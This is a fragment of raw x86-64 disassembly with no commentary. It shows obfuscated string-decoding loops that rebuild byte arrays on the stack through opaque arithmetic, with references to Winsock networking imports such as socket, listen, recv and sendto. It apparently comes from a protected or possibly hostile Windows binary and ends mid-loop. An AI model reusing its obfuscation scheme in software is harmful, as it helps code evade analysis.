movups xmmword [rbp + 0x5e3], xmm0
mov byte [rbp + 0x5f3], al
movabs rsi, 0xab4a9430823c0581
movabs r15, 0xaf0a0d538fa42687
movabs r14, 0x1dfbc9186b41083
movzx edi, byte [rsp + 0x50]
nop dword [rax + rax]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x24
jae 0x14008411e
movzx r9d, byte [rbp + r10 + 0x5d0]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x140084112
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400835a0
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x79
jmp 0x1400835d0
je 0x1400840a1
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140084015
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140083fb9
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140083f94
nop dword [rax]
cmp r8, r10
ja 0x140084106
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jae 0x140083601
lea ecx, [r10 - 0x6b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x13
jmp 0x140083640
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140083f49
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140083f27
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140083f07
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140083ee8
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140083b8e
nop dword [rax]
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140083b6e
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140083b49
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140083b27
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140083b07
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140083aeb
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140083acf
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140083ab0
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140083a91
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140083a63
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140083650
lea rbx, [r8 + 6]
lea r8, [rbx + 0x1000]
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x1400840e9
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x1400840cc
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140083833
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140083818
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x1400837fd
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x1400839de
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14008399a
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140083973
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140083650
lea rbx, [r8 + 0x28]
lea r8, [rbx + 1]
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140083945
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14008392a
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14008390f
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x1400838f4
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x1400838d9
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x1400838ba
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140083899
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140083871
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14008384e
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140083650
lea rbx, [r8 + 0x3e8]
lea r8, [rbx + 8]
jmp 0x140083650
lea ecx, [r10 + 0xb]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4d
jmp 0x140083640
lea ecx, [r10 + 9]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3f
jmp 0x1400835d0
lea ecx, [r10 + 7]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x31
jmp 0x140083566
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x140083f67
lea edx, [r10 - 0x5a]
movzx eax, dl
and al, r9b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140083553
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7c
dec r10
inc r10
jmp 0x140083553
lea ecx, [r10 - 0x5e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6e
movzx r11d, r10b
jmp 0x140083fd7
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
jmp 0x140083ff9
lea ecx, [r10 - 0x62]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x52
jmp 0x140083ffc
lea ecx, [r10 - 0x64]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x44
jmp 0x14008402f
lea ecx, [r10 - 0x66]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x36
jmp 0x14008405a
lea ecx, [r10 - 0x68]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x28
movzx eax, byte [rbp + r10 + 0x5d0]
add rax, r8
add r10, rax
inc r10
jmp 0x140083553
lea ecx, [r10 + 0x13]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x7b
mov byte [rbp + r10 + 0x5d0], dil
inc r10
jmp 0x140083553
lea edx, [r10 + 0x11]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x77
add dil, dl
cmp r8, 0xa
jb 0x14008398a
movzx r11d, r10b
lea edx, [r11 + 0x66]
movzx eax, r9b
and al, dl
mov ecx, 0x1b
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140083f67
lea edx, [r10 + 0xd]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5b
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0x7a
je 0x140083ecc
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x140083cdc
lea edx, [r10 - 0x43]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x2b
add dil, dl
cmp rbx, 3
jae 0x140083ea8
lea rax, [r8 + 0x200]
cmp rbx, rax
jbe 0x140083de6
lea edx, [r10 + 0x52]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x3e
jmp 0x1400839b1
lea ecx, [r10 + 0x7e]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x72
movzx eax, byte [rbp + r10 + 0x5d0]
add rax, r8
add r10, rax
inc r10
jmp 0x140083553
lea edx, [r10 + 0x7c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x64
add dil, dl
jmp 0x14008405a
lea edx, [r10 + 0x7a]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x56
add dil, dl
jmp 0x14008402f
lea ecx, [r10 + 0x78]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x48
jmp 0x140083ffc
lea ecx, [r10 + 0x76]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x3a
jmp 0x140083ff9
movzx r11d, r10b
lea edx, [r11 + 0x74]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x2c
jmp 0x140083fd4
lea ecx, [r10 + 0x72]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x1e
dec r10
inc r10
jmp 0x140083553
lea ecx, [r10 + 0x70]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x10
inc r8
dec r10
inc r10
jmp 0x140083553
movzx r11d, r10b
lea edx, [r11 + 0x6e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 2
jmp 0x140083f64
lea rax, [r8 + 0x10]
cmp rbx, rax
jae 0x140083bb7
lea edx, [r10 - 0x7f]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x79
jmp 0x1400839f5
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140083bf2
lea ecx, [r10 + 0x2a]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x26
movzx eax, byte [rbp + r10 + 0x5d0]
add rax, r8
add r10, rax
inc r10
jmp 0x140083553
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140083c1e
lea edx, [r10 + 0x2e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x42
add dil, dl
jmp 0x14008402f
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140083c4b
movzx r11d, r10b
lea edx, [r11 + 0x34]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6c
jmp 0x140083fd4
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140083c7a
lea ecx, [r10 + 0x36]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x7a
dec r10
inc r10
jmp 0x140083553
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140083caf
lea edx, [r10 + 0x38]
movzx eax, r9b
and al, dl
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x140083553
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400839f8
movzx r11d, r10b
lea edx, [r11 + 0x3a]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140083f64
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140083d09
movzx r11d, r10b
lea edx, [r11 - 0x41]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x39
jmp 0x140083f64
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140083d38
lea ecx, [r10 - 0x3d]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x55
dec r10
inc r10
jmp 0x140083553
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140083d65
movzx r11d, r10b
lea edx, [r11 - 0x3b]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x63
jmp 0x140083fd4
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140083d8e
lea ecx, [r10 - 0x37]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x7f
jmp 0x140083ffc
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140083dba
lea edx, [r10 - 0x35]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x73
add dil, dl
jmp 0x14008402f
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140083a2d
lea edx, [r10 - 0x33]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x65
add dil, dl
jmp 0x14008405a
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140083e21
lea ecx, [r10 + 0x54]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x4c
movzx eax, byte [rbp + r10 + 0x5d0]
add rax, r8
add r10, rax
inc r10
jmp 0x140083553
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140083e4d
lea edx, [r10 + 0x56]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5a
add dil, dl
jmp 0x14008405a
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140083e76
lea ecx, [r10 + 0x5a]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x76
jmp 0x140083ffc
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400839b4
lea edx, [r10 + 0x60]
movzx eax, r9b
and al, dl
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x140083553
movzx r11d, r10b
lea edx, [r11 + 0x68]
movzx eax, r9b
and al, dl
movzx ecx, byte [rbp + r10 + 0x5d0]
sub cl, al
add cl, 0x14
lea edi, [rcx + rcx]
jmp 0x140083fd4
lea edx, [r10 + 0x6a]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14008402f
lea edx, [r10 - 0x5d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x75
add dil, dl
jmp 0x14008402f
movzx r11d, r10b
lea edx, [r11 - 0x63]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x4b
jmp 0x140083fd4
lea ecx, [r10 - 0x65]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x3d
dec r10
inc r10
jmp 0x140083553
movzx r11d, r10b
lea edx, [r11 - 0x69]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x21
add dil, dl
sub r11b, 0x19
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x51
add r9b, r11b
mov byte [rbp + r10 + 0x5d0], r9b
inc r8
dec r10
inc r10
jmp 0x140083553
lea ecx, [r10 - 0x6f]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 9
inc r8
dec r10
inc r10
jmp 0x140083553
movzx r11d, r10b
lea edx, [r11 - 0x73]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x25
add dil, dl
sub r11b, 0x17
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x5f
add r9b, r11b
add r9b, dil
mov byte [rbp + r10 + 0x5d0], r9b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140083553
lea rcx, [r10 + r15]
movzx r9d, dl
and dl, cl
add dl, dl
movzx edi, r9b
sub dil, dl
add dil, 0x4f
add dil, cl
lea edx, [r10 - 0x15]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x6d
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x5d0], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 + 0x6c]
movzx eax, r9b
and al, dl
mov ecx, 6
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x5d0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x5d0]
add rax, r8
add r10, rax
inc r10
jmp 0x140083553
lea rcx, [r10 + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
add dil, 0x6b
movzx eax, byte [rbp + r10 + 0x5d0]
add rax, r8
add r10, rax
inc r10
jmp 0x140083553
add r10b, 5
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x23
jmp 0x140083550
add r10b, 3
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x15
jmp 0x140083540
lea rcx, [rbp + 0x153b87c]
jmp 0x140084125
lea rcx, [rbp + 0x14fbdfd]
jmp 0x140084125
lea rcx, [rbp + 0x5d0]
lea rdx, [0x1401ed245]
call fcn.140039930
mov byte [rbp + 0x360], 0xc5
mov byte [rbp + 0x361], 0xef
mov byte [rbp + 0x362], 0xfb
mov byte [rbp + 0x363], 0xf9
mov byte [rbp + 0x364], 0xe0
mov byte [rbp + 0x365], 0xe8
mov byte [rbp + gethostname6], 0x36
mov byte [rbp + 0x367], 0xc7
mov byte [rbp + 0x368], 0xe4
mov byte [rbp + 0x369], 0xf0
mov byte [rbp + 0x36a], 0x9e
mov byte [rbp + 0x36b], 0xed
mov byte [rbp + 0x36c], 0xdb
mov byte [rbp + 0x36d], 0xdf
mov byte [rbp + 0x36e], 0xdb
mov byte [rbp + 0x36f], 0x2f
xor eax, eax
mov qword [rbp + 0x370], rax
mov word [rbp + 0x378], ax
mov byte [rbp + 0x37a], al
movabs r14, 0xad3cce5f20c79154
movabs r12, 0xbca9a499e574f94c
movabs r15, 0x7b66b1d6256b3fc
movzx edi, byte [rsp + 0x50]
nop word [rax + rax]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x1b
jae 0x140084976
movzx r9d, byte [rbp + r10 + 0x360]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x14008496a
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140084243
lea rcx, [r10 + r14]
mov rax, r9
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
sub dil, 0x4c
jmp 0x140084263
je 0x1400848f0
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140084865
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140084844
cmp r8, r10
ja 0x14008495e
lea rax, [r8 + 0x41]
cmp rbx, rax
jae 0x140084291
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3c
jmp 0x1400842d2
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400847f6
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400847d2
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400847b1
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008477e
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140084763
lea rdx, [r8 + rbx]
cmp rdx, r10
jbe 0x14008448a
nop
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140084478
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140084454
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14008442f
mov rbx, rax
lea r8, [rax + 0x10]
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14008493e
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140084921
lea rcx, [r8 + 8]
cmp rbx, rcx
jb 0x14008439b
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14008437c
mov rbx, rcx
lea r8, [rcx + 0x10]
lea rax, [r8 + 0x40]
cmp rcx, rax
ja 0x140084402
lea rax, [r8 + 0x10]
cmp rcx, rax
ja 0x1400843e3
lea rax, [r8 + 8]
cmp rcx, rax
ja 0x1400843c8
lea rax, [r8 + 0x80]
cmp rcx, rax
ja 0x1400843b6
mov rbx, rax
lea r8, [rax + 0x10]
jmp 0x1400842e0
lea edx, [r10 - 0xc]
movzx eax, dl
and al, r9b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140084263
lea ecx, [r10 + 0x4c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x14
jmp 0x140084206
lea edx, [r10 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
movzx r11d, r10b
jmp 0x140084803
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
jmp 0x14008487f
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400848ab
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
movzx eax, byte [rbp + r10 + 0x360]
add rax, r8
add r10, rax
inc r10
jmp 0x1400841f3
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x1400841f3
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
inc r8
dec r10
inc r10
jmp 0x1400841f3
movzx r11d, r10b
lea edx, [r11 + 0x18]
mov ecx, 0x2c
jmp 0x140084803
lea rax, [r8 + 4]
cmp rbx, rax
jae 0x140084531
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4c
cmp rdx, 0x41
je 0x140084740
lea rdx, [r8 + 1]
cmp rbx, rdx
jbe 0x1400845f4
lea ecx, [r10 + 4]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1c
cmp rbx, 8
jae 0x140084703
cmp rbx, rdx
jbe 0x140084669
lea ecx, [r10 - 0x18]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x58
cmp r8, 8
jb 0x1400846f3
movzx r11d, r10b
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r9b
mov edx, 0x1c
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x140084814
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008456b
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x78
movzx eax, byte [rbp + r10 + 0x360]
add rax, r8
add r10, rax
inc r10
jmp 0x1400841f3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140084597
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r9b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008487f
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400845c6
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x140084798
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400844ad
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 8
dec r10
inc r10
jmp 0x1400841f3
jne 0x14008460c
movzx r11d, r10b
lea edx, [r11 - 0x54]
mov ecx, 0x26
jmp 0x140084803
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008463e
lea edx, [r10 - 4]
movzx eax, dl
and al, r9b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x1400841f3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400844da
lea ecx, [r10 + 0x4c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x14
add rbx, r8
jmp 0x140084798
jne 0x1400846a0
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x360]
add rax, r8
add r10, rax
inc r10
jmp 0x1400841f3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400846c8
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
jmp 0x14008487f
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140084503
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
add rbx, r8
jmp 0x140084798
mov byte [rbp + r10 + 0x360], dil
inc r10
jmp 0x1400841f3
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
movzx ecx, r9b
sub cl, al
add cl, 0x10
lea edi, [rcx + rcx]
add dil, dl
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x2c
add cl, r9b
add cl, dil
mov byte [rbp + r10 + 0x360], cl
add rbx, r8
jmp 0x140084798
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, byte [rbp + r10 + 0x360]
lea edi, [r9 + rcx]
sub dil, 0x78
jmp 0x14008487f
lea ecx, [r10 + 0x7c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x64
jmp 0x14008487f
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r9b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x1400841f3
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 4
dec r10
inc r10
jmp 0x1400841f3
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6c
inc r8
dec r10
inc r10
jmp 0x1400841f3
movzx r11d, r10b
lea edx, [r11 - 0x74]
mov ecx, socket
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
sub r11b, 0x34
movzx eax, r11b
and al, r9b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r11b
add cl, r9b
mov byte [rbp + r10 + 0x360], cl
inc r8
dec r10
inc r10
jmp 0x1400841f3
lea ecx, [r10 - 0x14]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x74
dec r10
inc r10
jmp 0x1400841f3
lea rcx, [r10 + r12]
movzx r9d, r11b
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x14
lea edx, [r10 + 0x1c]
movzx eax, dl
and al, r9b
mov ecx, 0x1e
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x360], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 + 0x70]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x10
add r9b, cl
mov byte [rbp + r10 + 0x360], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x360]
add rax, r8
add r10, rax
inc r10
jmp 0x1400841f3
lea rcx, [r10 + r15]
movzx eax, cl
and al, r11b
mov edx, select
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x360]
add rax, r8
add r10, rax
inc r10
jmp 0x1400841f3
sub r10b, 0x5c
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x7c
jmp 0x1400841f0
sub r10b, 4
movzx eax, r10b
and al, r9b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x1400841e0
lea rcx, [rbp + 0x155a7d0]
jmp 0x14008497d
lea rcx, [rbp + 0x11d3924]
jmp 0x14008497d
lea rcx, [rbp + 0x360]
lea rdx, [0x1401ed247]
call fcn.140039930
mov byte [rbp + 0x380], WSAStartup
mov byte [rbp + 0x381], reloc.WS2_32.dll_socket
mov byte [rbp + 0x382], 3
mov byte [rbp + 0x383], reloc.WS2_32.dll_listen
mov byte [rbp + 0x384], 6
mov byte [rbp + 0x385], 2
mov byte [rbp + 0x386], 0x48
mov byte [rbp + 0x387], WSAGetLastError
mov byte [rbp + 0x388], 1
mov byte [rbp + 0x389], 0x18
mov byte [rbp + 0x38a], 0x18
mov byte [rbp + 0x38b], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x38c], 0
mov byte [rbp + 0x38d], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x38e], 0x1b
mov byte [rbp + 0x38f], 0xb7
xor eax, eax
mov dword [rbp + 0x390], eax
mov word [rbp + 0x394], ax
movabs rsi, 0xc482e1bf6d9192c5
movabs r15, 0x5f942c3bfefb0363
movabs r14, 0x4d88a53e48b4b84f
movzx edi, byte [rsp + 0x50]
nop dword [rax + rax]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x16
jae 0x140085536
movzx r9d, byte [rbp + r10 + 0x380]
mov rdx, r9
